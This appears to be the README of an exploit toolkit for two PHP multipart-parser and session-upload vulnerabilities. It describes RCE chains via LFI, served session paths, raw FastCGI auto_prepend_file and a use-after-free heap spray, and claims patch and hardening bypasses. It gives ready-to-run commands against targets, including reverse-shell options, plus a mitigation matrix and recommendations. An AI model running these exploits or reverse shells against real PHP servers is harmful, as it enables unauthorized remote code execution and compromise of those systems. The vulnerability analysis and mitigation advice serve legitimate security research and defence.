Pure memory corruption path: OOM during multipart parsing leaves stale BG(serialize) state in Apache mod_php prefork workers. Heap spray reclaims the freed 64-byte slot, giving control of a HashTable's pDestructor for arbitrary function call. No LFI, no framework, no non-default PHP settings required. Tested on PHP 8.3.6 + Apache 2.4.58 (prefork MPM). Confirmed: - OOM via field flood, worker survival, session file persistence - Stale BG(serialize).level across requests - Heap spray targeting ZendMM 64-byte bin
258 lines
12 KiB
Markdown
258 lines
12 KiB
Markdown
# php2shell — CVE-2026-109618 & CVE-2026-109619
|
||
|
||
Remote Code Execution exploits for two critical PHP vulnerabilities in the
|
||
multipart parser and session upload progress handler. Includes three bypass
|
||
exploits that defeat the official security patch and all recommended mitigations,
|
||
plus a no-LFI chain that removes the application from the attack entirely.
|
||
|
||
**No external dependencies** — pure Python 3 stdlib.
|
||
|
||
## Vulnerabilities
|
||
|
||
**CVE-2026-109618** — OOM in the multipart parser (`rfc1867.c`) triggers
|
||
`zend_bailout()`, which longjmps past `MULTIPART_EVENT_END` and skips session
|
||
cleanup. A session file poisoned via `PHP_SESSION_UPLOAD_PROGRESS` persists on
|
||
disk with attacker-controlled PHP code. LFI includes it for RCE.
|
||
|
||
**CVE-2026-109619** — `PHP_SESSION_UPLOAD_PROGRESS` writes attacker-controlled
|
||
data verbatim into the session file. With `cleanup=0`, or via race condition
|
||
against `cleanup=1`, the poisoned session file is includable via LFI for RCE.
|
||
|
||
**Affected:** PHP 8.0–8.4 (all platforms). Patched in 8.4.27, 8.3.36, 8.2.35.
|
||
|
||
## Exploits
|
||
|
||
| Script | Target | Description |
|
||
|--------|--------|-------------|
|
||
| `cve-2026-109618/exploit.py` | Unpatched PHP | OOM → session persistence → LFI → RCE |
|
||
| `cve-2026-109619/exploit.py` | Unpatched PHP | Session poisoning (direct + race) → LFI → RCE |
|
||
| `session-deser/exploit.py` | Any PHP | Handler mismatch → deserialization → RCE **(no LFI)** |
|
||
| `wordpress-exploit/exploit_wp.py` | WordPress | Auto-detecting wrapper for both CVEs |
|
||
| `bypass/race_bypass_patched.py` | Patched PHP | TOCTOU race — session data on disk during upload |
|
||
| `bypass/rlimit_bypass_patched.py` | Patched PHP | mmap() failure via RLIMIT_AS bypasses the patch |
|
||
| `bypass/procfd_bypass_hardened.py` | Fully hardened | /proc/PID/fd temp file — **bypasses all mitigations** |
|
||
| `bypass/waf_bypass_test.py` | WAF rules | Tests Content-Type evasion against WAF rules |
|
||
| `nolfi/exploit_nolfi.py` | No LFI available | Served save_path + fpm pathinfo — **RCE with no application include** |
|
||
| `fcgi/exploit_fcgi.py` | FPM reachable | FastCGI slow-drip + auto_prepend_file — **RCE, default config, no LFI** |
|
||
| `uaf-rce/exploit.py` | Apache mod_php | OOM → UAF via stale BG(serialize) → heap spray → **RCE, no LFI, no framework** |
|
||
|
||
## Prerequisites
|
||
|
||
- Python 3.8+
|
||
- Target running PHP-FPM with `session.upload_progress.enabled=1` (default)
|
||
- A Local File Inclusion vector in the target application
|
||
- Known or guessable `session.save_path` (common: `/tmp`, `/var/lib/php/sessions`)
|
||
|
||
## Usage
|
||
|
||
```bash
|
||
# CVE-2026-109618: OOM exploit
|
||
python3 cve-2026-109618/exploit.py -t http://target/app.php --cmd 'id'
|
||
python3 cve-2026-109618/exploit.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
|
||
python3 cve-2026-109618/exploit.py -t http://target/app.php --trigger-only
|
||
# Use --no-chunked when nginx has fastcgi_request_buffering off
|
||
# Use --fields / --field-size to tune OOM threshold for target memory_limit
|
||
|
||
# CVE-2026-109619: Session poisoning (direct or race)
|
||
python3 cve-2026-109619/exploit.py -t http://target/app.php --cmd 'id' --lfi-param page
|
||
python3 cve-2026-109619/exploit.py -t http://target/app.php --cmd 'id' --lfi-param page --race
|
||
|
||
# WordPress (auto-detects LFI parameter)
|
||
python3 wordpress-exploit/exploit_wp.py -t http://target/ --cmd 'id'
|
||
python3 wordpress-exploit/exploit_wp.py -t http://target/ --mode race --cmd 'id'
|
||
|
||
# Patch bypass: race condition on PHP 8.4.27+
|
||
python3 bypass/race_bypass_patched.py -t http://target/app.php --cmd 'id'
|
||
|
||
# Patch bypass: RLIMIT_AS mmap failure on PHP 8.4.27+ (memory_limit=-1 + OS limits)
|
||
python3 bypass/rlimit_bypass_patched.py -t http://target/app.php --cmd 'id'
|
||
|
||
# Hardening bypass: /proc/fd — defeats ALL mitigations including upload_progress=0
|
||
python3 bypass/procfd_bypass_hardened.py -t http://target/app.php --cmd 'id'
|
||
python3 bypass/procfd_bypass_hardened.py -t http://target/app.php --cmd 'id' --pid 12345
|
||
```
|
||
|
||
All exploits support `--cmd`, `--lhost`/`--lport` (reverse shell), and `--trigger-only`.
|
||
Use `--session-path` and `--lfi-param` to override auto-detection.
|
||
|
||
## RCE Without LFI
|
||
|
||
`nolfi/exploit_nolfi.py` turns the same session-poisoning primitive into RCE
|
||
with **no application include at all**. The consumer is php-fpm's own request
|
||
routing instead of application code:
|
||
|
||
1. `PHP_SESSION_UPLOAD_PROGRESS` writes PHP code into
|
||
`<save_path>/sess_<SID>` during multipart parsing. This fires before
|
||
script dispatch, so any PHP-handled URL works — a 404 is enough.
|
||
2. If `session.save_path` is web-served, the session file is directly
|
||
requestable over HTTP.
|
||
3. With `security.limit_extensions` empty (common in production fpm pools),
|
||
fpm executes the extensionless session file through the classic
|
||
`cgi.fix_pathinfo` route: `GET /sessions/sess_<SID>/x.php?c=id`.
|
||
4. With `cleanup=1` (default) the file is truncated at upload end, so
|
||
execution is raced against the upload window (reliable on streaming
|
||
stacks, parse-time-limited on buffering stacks), or made deterministic
|
||
with `--oom`: the CVE-2026-109618 bailout longjmps past cleanup and the
|
||
file persists.
|
||
|
||
Requires `session.upload_progress.enabled=1` and `memory_limit` headroom for
|
||
the OOM variant. See `nolfi/FINDINGS.md` for the full analysis, including why
|
||
the session decoder itself can never be used as the consumer: the `php`
|
||
serializer aborts the entire write on `|` in any key (leaving a 0-byte file),
|
||
the raw attacker bytes always land in the key which is never unserialized, and
|
||
`mod_files` rejects any SID that could turn the filename into an include
|
||
target.
|
||
|
||
```bash
|
||
# classify the target: which URL prefixes serve session.save_path
|
||
python3 nolfi/exploit_nolfi.py -t http://target/ --probe
|
||
|
||
# interactive command shell via the served session dir
|
||
python3 nolfi/exploit_nolfi.py -t http://target/ --url-prefix /sessions --cmd 'id'
|
||
python3 nolfi/exploit_nolfi.py -t http://target/ --url-prefix /tmp --lhost 10.0.0.1 --lport 4444
|
||
|
||
# deterministic persistence via the OOM bailout instead of the race
|
||
python3 nolfi/exploit_nolfi.py -t http://target/ --url-prefix /sessions \
|
||
--oom --fields 30000 --fsize 512 --cmd 'id'
|
||
```
|
||
|
||
`nolfi/check_deploy.php` reports whether a deployment meets the two
|
||
preconditions (save_path web-served, empty limit_extensions). Drop it on the
|
||
target, request it once, remove it.
|
||
|
||
## RCE via FastCGI (Default Config)
|
||
|
||
`fcgi/exploit_fcgi.py` achieves RCE with **no LFI, no libraries, no special
|
||
PHP configuration**. It only requires raw FastCGI access to PHP-FPM (TCP or
|
||
unix socket), which is available in Docker, Kubernetes, SSRF, and exposed-port
|
||
scenarios.
|
||
|
||
The technique: a slow-drip multipart upload sent via raw FastCGI holds one FPM
|
||
worker in the multipart parser (keeping the poisoned session file on disk)
|
||
while a second FastCGI request to another worker sets
|
||
`PHP_VALUE: auto_prepend_file = /tmp/sess_<SID>`, causing PHP to include the
|
||
session file before any script. The attacker's PHP code executes.
|
||
|
||
`security.limit_extensions` does not block this: it only restricts
|
||
`SCRIPT_FILENAME`, not files loaded by `auto_prepend_file`. Setting
|
||
`php_admin_value[auto_prepend_file]` in the pool config also does not help:
|
||
raw FastCGI `PHP_VALUE` overrides it (verified on PHP 8.3.6).
|
||
|
||
```bash
|
||
# RCE via direct FastCGI (Docker, Kubernetes, exposed port)
|
||
python3 fcgi/exploit_fcgi.py --fpm 10.0.0.5:9000 --cmd 'id'
|
||
|
||
# Unix socket (local access)
|
||
python3 fcgi/exploit_fcgi.py --fpm /run/php/php-fpm.sock --cmd 'id'
|
||
|
||
# Specify PHP file and session path
|
||
python3 fcgi/exploit_fcgi.py --fpm 10.0.0.5:9000 \
|
||
--script-file /var/www/html/index.php \
|
||
--session-path /tmp --cmd 'id'
|
||
|
||
# Reverse shell
|
||
python3 fcgi/exploit_fcgi.py --fpm 10.0.0.5:9000 \
|
||
--lhost 10.0.0.1 --lport 4444
|
||
```
|
||
|
||
See `fcgi/FINDINGS.md` for the full analysis, test results, and why no
|
||
pool-level configuration can prevent this when FastCGI is reachable.
|
||
|
||
## UAF RCE (Apache mod_php, No LFI, No Framework)
|
||
|
||
`uaf-rce/exploit.py` exploits the same CVEs through a pure memory corruption
|
||
path that requires **no LFI, no framework, no libraries, and no non-default
|
||
PHP settings**. The only SAPI requirement is Apache mod_php with prefork MPM
|
||
(default on Debian/Ubuntu).
|
||
|
||
The attack triggers an OOM during multipart parsing to leave stale
|
||
`BG(serialize)` state in the surviving Apache prefork worker. On the next
|
||
request, the session upload progress handler reuses the stale pointer (a freed
|
||
64-byte ZendMM slot) as a `php_serialize_data` struct. Heap spray reclaims the
|
||
slot with attacker data shaped as a fake `HashTable`, giving control of
|
||
`pDestructor` for arbitrary function call.
|
||
|
||
```bash
|
||
# Confirm all primitives (OOM, worker survival, session poison, stale state)
|
||
python3 uaf-rce/exploit.py --target http://host:port/index.php --oom-only
|
||
|
||
# Full chain: OOM + heap spray + UAF trigger
|
||
python3 uaf-rce/exploit.py --target http://host:port/index.php
|
||
|
||
# With crash detection
|
||
python3 uaf-rce/exploit.py --target http://host:port/index.php --crash-test
|
||
```
|
||
|
||
PHP-FPM is not vulnerable: workers exit on bailout (code 70), so stale state
|
||
never persists across requests. See `uaf-rce/FINDINGS.md` for the full
|
||
vulnerability analysis and patch details.
|
||
|
||
## Patch Bypass Findings
|
||
|
||
The PHP 8.4.27 patch has three confirmed bypass paths to RCE:
|
||
|
||
**1. Race condition (TOCTOU)** — Session upload progress data exists on disk
|
||
during file upload. Cleanup only runs at `MULTIPART_EVENT_END`. A concurrent LFI
|
||
request includes the file during the upload window. Inherent to the feature design.
|
||
|
||
**2. RLIMIT_AS / mmap() failure** — The patch intercepts OOM from PHP's
|
||
`memory_limit` but not from OS-level limits. With `memory_limit=-1` and
|
||
RLIMIT_AS or cgroup memory limits, `mmap()` fails through an unpatched code
|
||
path. Worker exits code 1 (not the patched code 70), session persists.
|
||
|
||
**3. /proc/PID/fd temp file** — During multipart upload, PHP's temp file is
|
||
includable via `/proc/<pid>/fd/<N>` from another FPM worker. No session
|
||
poisoning needed. **Bypasses every recommended mitigation.**
|
||
|
||
**4. Served save_path (no LFI)** — When `session.save_path` is web-served and
|
||
the fpm pool leaves `security.limit_extensions` empty, the poisoned session
|
||
file is executed by fpm itself via PATH_INFO routing. No application
|
||
cooperation, no include primitive. See `nolfi/FINDINGS.md`.
|
||
|
||
**5. FastCGI auto_prepend_file (default config)** — When FPM's FastCGI
|
||
socket is reachable (Docker, Kubernetes, SSRF, exposed port), an attacker
|
||
drips a multipart upload via raw FastCGI to hold a worker in the parser
|
||
while a second request sets `PHP_VALUE: auto_prepend_file=<session_file>`.
|
||
No LFI, no special config, no library. `php_admin_value` does not block it.
|
||
See `fcgi/FINDINGS.md`.
|
||
|
||
### Mitigation Matrix
|
||
|
||
| Mitigation | Race | RLIMIT | /proc/fd | served-path | fcgi-prepend |
|
||
|---|---|---|---|---|---|
|
||
| Patch alone | FAIL | FAIL | FAIL | FAIL | FAIL |
|
||
| + `upload_progress=0` | OK | OK | **FAIL** | OK | OK |
|
||
| + `hidepid=2` on /proc | FAIL | FAIL | OK | FAIL | FAIL |
|
||
| + `upload_progress=0` + `hidepid=2` | OK | OK | OK | OK | OK |
|
||
| + limit_extensions=`.php .phar` | — | — | — | OK | **FAIL** |
|
||
| + save_path not web-served | — | — | — | OK | **FAIL** |
|
||
| + block FPM network access | — | — | — | — | OK |
|
||
| Fix the LFI | OK | OK | OK | **FAIL** | **FAIL** |
|
||
|
||
### Recommendations
|
||
|
||
1. Set `session.upload_progress.enabled=0` in php.ini
|
||
2. Mount /proc with `hidepid=2` (or `hidepid=invisible`)
|
||
3. Fix any LFI vulnerabilities in applications
|
||
4. Set `security.limit_extensions = .php .phar` explicitly in every fpm pool
|
||
5. Keep `session.save_path` outside any web-served tree
|
||
6. Set `open_basedir` to restrict filesystem access
|
||
7. Block network access to FPM: use unix sockets with restricted permissions,
|
||
firewall TCP port 9000
|
||
|
||
## WordPress
|
||
|
||
The WordPress exploit requires a plugin that calls `session_start()` and has an
|
||
LFI vector. Two demo plugins are included:
|
||
|
||
- `wordpress-exploit/vuln-plugin.php` — Minimal mu-plugin with session + LFI
|
||
- `wordpress/wp-content/plugins/developer-toolkit/` — Realistic plugin with
|
||
template preview, log viewer, and session-based features
|
||
|
||
Install as mu-plugin: `cp vuln-plugin.php /path/to/wordpress/wp-content/mu-plugins/`
|
||
|
||
## Disclaimer
|
||
|
||
For authorized security testing and research only. Obtain proper authorization
|
||
before testing against any system you do not own.
|